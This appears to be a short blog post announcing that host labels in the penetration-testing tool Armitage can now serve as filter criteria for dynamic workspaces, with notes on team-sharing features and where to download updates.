You can filter your host display by labels too. Armitage has had the concept of dynamic workspaces since November 2011. Dynamic workspaces are filters, defined by you, based on network, operating system, open services, etc.. You can switch workspaces through a menu or go Starcraft style and use Ctrl+1 … Ctrl+n to activate your workspaces.

Labels are now a dynamic workspace criteria too. Each word in a label is a searchable tag that you may use in your workspace definitions.

This open-ended feature gives you a way to assign actions, group hosts, and share small notes during a team penetration test. It’s a nice addition to Armitage’s existing real-time event log, data sharing, and session sharing features for teams.

Get the latest Armitage at http://www.fastandeasyhacking.com/ or use msfupdate to grab it.

Follow

Get every new post delivered to your Inbox.

Join 11,412 other followers